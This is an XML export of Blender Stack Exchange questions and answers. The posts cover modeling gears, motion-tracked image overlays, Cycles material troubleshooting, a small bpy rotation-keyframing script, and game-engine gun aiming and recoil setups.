  <row Id="36679" PostTypeId="2" ParentId="36675" CreationDate="2015-08-29T17:42:49.860" Score="9" Body="&lt;p&gt;There are at least three methods for accomplishing this. Each is worth familiarizing yourself with.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Cylinder Method&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;1. Create a cylinder&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add &gt; Mesh &gt; Cylinder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjust the proportions and vertex count to your liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KmJ15.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KmJ15.png&quot; alt=&quot;Cylinder parameters&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. In Edit Mode Select Edge Rings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Set your selection mode to Edge Select.&#xA;Select an edge, then while pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt; select the edge next to it. Alternatively you can use the menu: Select &gt; Edge Rings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TWHxp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TWHxp.png&quot; alt=&quot;Select Edge Rings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. Bevel the edge rings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use cursor distance to adjust bevel width, then left click to accept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e48KH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e48KH.png&quot; alt=&quot;Bevel the edge rings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4. Extrude the faces&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Set your Pivot Point to &quot;Individual Origins&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GwiNc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GwiNc.png&quot; alt=&quot;Setting Pivot Point to Individual Origins&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;E&lt;/kbd&gt; to Extrude to your desired length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6wt9S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6wt9S.png&quot; alt=&quot;Extruding faces&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;5. Scale as needed&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While still using &quot;Individual Origins&quot; as the Pivot Point, press &lt;kbd&gt;S&lt;/kbd&gt; then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to Scale the angle of the teeth. Scale the height using &lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qcoeN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qcoeN.png&quot; alt=&quot;Scaling the faces from their individual origins&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Add-On Method&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;1. Enable the Extra Objects Mesh add-on.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are two add-ons for Extra Objects, one for curves and one for meshes. The one that applies in this case is the one for meshes. Go to Blender's Preferences, search &quot;extra&quot;, and click the check box to enable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W6DpI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W6DpI.png&quot; alt=&quot;Add-on Preferences - enabling Extra Objects&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Add a Gear&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and find a new option in your Add &gt; Mesh menu: &quot;Gears&quot;. Add one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sm32Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sm32Z.png&quot; alt=&quot;Add a Gear using the new option in your Add Mesh menu&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. Tweak the gear parameters&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The add-on provides many parameters for fine-tuning the shape of your gear. Play with it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JDnm8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JDnm8.png&quot; alt=&quot;Adjusting parameters of the gear&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Circular Array Method&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;1. Add a plane and model it into the shape of a gear tooth&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; Add &gt; Mesh &gt; Plane&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plane is just a starter shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model the shape of a single gear tooth in Edit Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the Object's Origin Point is where you want the center of your gear to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W9tFc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9tFc.png&quot; alt=&quot;A flat, planar gear tooth shape to begin with&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Add and rotate an Empty&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; Add &gt; Empty &gt; Plain Axes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Object Mode, press &lt;kbd&gt;R&lt;/kbd&gt; and type in 15 to rotate it 15 degrees. We can change this value later, it's just an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dUMp1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dUMp1.png&quot; alt=&quot;An Empty, rotated 15 degrees&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. Add an Array Modifier to your gear tooth object&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Modifier settings:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uncheck &quot;Relative Offset&quot;. Instead, check &quot;Object Offset&quot; and point it to your Empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since we rotated the tooth 15° in this example, set the Count to 24 to start. The dimensions of your gear tooth object also come into play here, so you'll need to do some adjusting of these three factors: tooth count, rotation angle, and tooth geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check &quot;Merge&quot; and &quot;First Last&quot; so that you won't need to remove doubles later. This option merges the doubled-up vertices for you.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4. Close the loop&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Set your snapping method to Vertex Snapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YuUuG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YuUuG.png&quot; alt=&quot;Snap Element set to Vertex&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the modifier, adjust the edit cage to the modifier result so the array geometry can be snapped to. In simple English: click the fourth button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2nfKr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2nfKr.png&quot; alt=&quot;Adjust edit cage to modifier result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now extrude another vertex and snap it to the next tooth in the array. Fill in a face between this and the vertex in the center of the gear. The circle is now complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fl7Ww.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fl7Ww.png&quot; alt=&quot;Enable Vertex Snapping and snap to the modifier result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screen shot to further illustrate how one segment is used to create the entire gear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ommQM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ommQM.png&quot; alt=&quot;One tooth mesh spun 24 times to form a gear&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;5. Add some thickness&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Finally, add a Solidify Modifier and give your gear some Thickness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/s1XJb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s1XJb.png&quot; alt=&quot;The Solidify Modifier transforms the flat planar outline into a 3D gear shape&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-08-29T20:25:45.353" LastActivityDate="2015-08-29T20:25:45.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36680" PostTypeId="2" ParentId="36674" CreationDate="2015-08-29T18:31:53.610" Score="8" Body="&lt;p&gt;Track the element over which you want to overlay the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the tracker selected got to the Solve tab and in the Geometry dropdown, click on &lt;strong&gt;Link Empty to Track&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/U9s4k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U9s4k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will create an empty that is parented to the camera and moves with the movement of the tracked element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HSt1O.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HSt1O.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the picture of you want to overlay one using &lt;strong&gt;Import Images as Planes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cyGUU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cyGUU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent it to the empty: select the plane with the image and then while pressing &lt;kbd&gt;Shift&lt;/kbd&gt; select also the empty and press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;P&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your image will move with the empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8z8zv.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8z8zv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to enable the video clip as background image at this point to see the have a reference of the movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XrnQu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XrnQu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Wqm1U.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wqm1U.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For elements that change size or perspective you create a &lt;strong&gt;Plane Track&lt;/strong&gt; tracking four points of the video. The instructions on how to do that are here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.69/Motion_Tracker&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.69/Motion_Tracker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and an excellent tutorial by Sebastian König &lt;a href=&quot;https://vimeo.com/25516157&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are done adding all the elements you want, you can render the scene using a node setup like this where you add your scene to the background video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rki9W.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rki9W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just going to deal with the tracking part. The texturing should be a different post since it is a different question, and there is enough information  &lt;a href=&quot;https://blender.stackexchange.com/questions/15784/repeat-a-generated-texture-in-cycles&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/15766/transparent-lines-for-a-hologram-like-effect&quot;&gt;here&lt;/a&gt; on how to pull that off.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2016-07-24T20:15:15.940" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36681" PostTypeId="1" CreationDate="2015-08-29T18:41:49.183" Score="2" ViewCount="942" Body="&lt;p&gt;this issue is driving me crazy. I have this simple node material with a dirt texture (.png) applied to a plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the preview render it works and shows up but as soon as i try to render i get nothing! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone can help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Me3Lr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Me3Lr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16647" LastActivityDate="2015-08-30T23:35:50.083" Title="Why this material doesn't render?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36682" PostTypeId="2" ParentId="36672" CreationDate="2015-08-29T18:54:58.793" Score="4" Body="&lt;p&gt;To do this with matrix multiplication &amp;amp; globally.  As for the &quot;wobbling&quot; do  you mean the interpolation?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import radians&#xA;from mathutils import Matrix&#xA;&#xA;mat_rot_x = Matrix.Rotation(radians(90.0), 4, 'X')&#xA;mat_rot_mx = Matrix.Rotation(radians(-90.0), 4, 'X')&#xA;mat_rot_y = Matrix.Rotation(radians(90.0), 4, 'Y')&#xA;&#xA;obj = bpy.data.objects[&quot;Sphere&quot;]&#xA;obj.animation_data_clear()&#xA;&#xA;obj.rotation_euler = [0, 0, 0]&#xA;bpy.context.scene.frame_set(1)&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=1)&#xA;&#xA;obj.matrix_world *= mat_rot_x&#xA;obj.rotation_euler = obj.matrix_world.to_euler()&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=20)&#xA;&#xA;obj.matrix_world *= mat_rot_y&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=40)&#xA;&#xA;obj.matrix_world *= mat_rot_mx&#xA;obj.rotation_euler = obj.matrix_world.to_euler()&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=60)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15543" LastEditorUserId="15543" LastEditDate="2016-11-10T02:21:46.383" LastActivityDate="2016-11-10T02:21:46.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36683" PostTypeId="2" ParentId="36664" CreationDate="2015-08-29T19:14:56.920" Score="14" Body="&lt;p&gt;It is actually rather easy to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you need a cool gun, You already have on of those, so then next step is to make it my favorite color blue - 1BC8F7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can skip that step if you want, but the gun looks so much nicer blue :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you are giving the gun recoil with logic like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Z0bD7.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z0bD7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make your gun be able to aim from the sights, parent the gun to an empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hNoeN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hNoeN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The empty should be parented to the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X417e.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X417e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if we move the camera, everything should move with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TCVlw.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TCVlw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is good. Now, your recoil animation can play on the gun, but it will not move into place yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6u0Pr.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6u0Pr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can fix this by animating the empty to move into place when the mouse is clicked, and then move back out of place when the mouse is released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WEofm.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WEofm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Believe it or not, we can do this with one animation.  I am going to be using the right mouse button to aim the gun to the center, because it makes funner gameplay, however, it is just a simple to do it with the left mouse..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aKQ3C.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aKQ3C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is using the right mouse to aim the gun into place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wnBDc.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wnBDc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;It works- Yay!&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now for the left mouse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only need to change a few things to your existing logic on the empty, to get this setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zA5xD.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zA5xD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a simply ground plane to see the gun's movement better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Wxenq.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wxenq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we need to add a &lt;em&gt;Mouse Look&lt;/em&gt; actuator&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pFrTe.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pFrTe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, we can test it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HxuYo.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HxuYo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not happy with that quite yet, so I'm going to add a slow parent to the empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KFvfK.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KFvfK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we can test it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DsDa3.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DsDa3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That looks much better! You could, of course, tweak the settings to make it exactly how you want your gun. I think bullets and muzzle flashes would seriously help - but they have nothing to do with this answer :-( &lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-08-29T19:14:56.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36684" PostTypeId="2" ParentId="36681" CreationDate="2015-08-29T19:29:36.267" Score="0" Body="&lt;p&gt;Techniques&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use a mix shader not a add shader&lt;/li&gt;&#xA;&lt;li&gt;Know the user view and camera view are two different concepts&lt;/li&gt;&#xA;&lt;li&gt;Press 0 repeatedly to alternate between camera view and user view&lt;/li&gt;&#xA;&lt;li&gt;Place a light and more objects in the scene to check for render visibility&lt;/li&gt;&#xA;&lt;li&gt;Check the render enable state of your object in the outliner view&lt;/li&gt;&#xA;&lt;li&gt;Check Cycles Camera Ray Visibility State&lt;/li&gt;&#xA;&lt;li&gt;Check Render Layer Settings&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-29T19:37:02.857" LastActivityDate="2015-08-29T19:37:02.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36685" PostTypeId="1" CreationDate="2015-08-29T19:53:44.920" Score="1" ViewCount="331" Body="&lt;p&gt;&lt;strong&gt;FIGURED IT OUT MYSELF:&lt;/strong&gt; (it looks like 0,1 don't need to be modified to T/F and I can just use &lt;code&gt;var&lt;/code&gt; and &lt;code&gt;1-var&lt;/code&gt; to get the effect I want)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in the process of creating my first semi-complex rig and I want to be able to be able to toggle the visibility of my FK and IK bones depending on whether they're driving my deformation bones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using five integers with [0,1] values to drive the bone constraint influence driving the deform bones. I want to use these same integers to show/hide my layers so I only see relevant bones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender gives me an &quot;ERROR: Invalid Python Expression&quot; message when I put &lt;code&gt;'True' if var == 0 else 'False'&lt;/code&gt; in the scripted expression box in the Drivers Properties side-bar. How should I format this? Or is it not possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(Blender Ver 2.75a)&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="15020" LastActivityDate="2015-12-04T06:39:45.927" Title="Toggle Armature Layer Visability via Drivers?" Tags="&lt;python&gt;&lt;armature&gt;&lt;drivers&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36687" PostTypeId="1" AcceptedAnswerId="36689" CreationDate="2015-08-29T20:41:21.373" Score="3" ViewCount="215" Body="&lt;p&gt;In Blender Render let's say I want to texture a box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be my process:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Model than UV UNWrap&lt;/li&gt;&#xA;&lt;li&gt;Bake AO to a image set blend mode to multiply&lt;/li&gt;&#xA;&lt;li&gt;Add diffuse texture with appropriate blend mode on a DIFFERENT UV Map to allow changing the size of the wood grains.&lt;/li&gt;&#xA;&lt;li&gt;Add normal or bump with appropriate blend mode on same UV Map as AO.&lt;/li&gt;&#xA;&lt;li&gt;Add &quot;grunge&quot; layer in which to add decals etc on same UV MAp as AO.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Doing this in Blender Render was really easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cycles I'm getting VERY lost trying to do these exact same tasks. Even after looking at the manual. I think nodes just scare me I'm not sure. I've made SOME progress and I see the power of nodes, but helping me clear up how to do some common functions like these would probably set off a chain reaction of &quot;Oh I see now&quot;.&lt;/p&gt;&#xA;" OwnerUserId="16576" LastEditorUserId="241" LastEditDate="2018-12-14T17:24:19.873" LastActivityDate="2018-12-14T17:24:19.873" Title="How to perform basic tasks in Cycles vs. Blender Internal?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
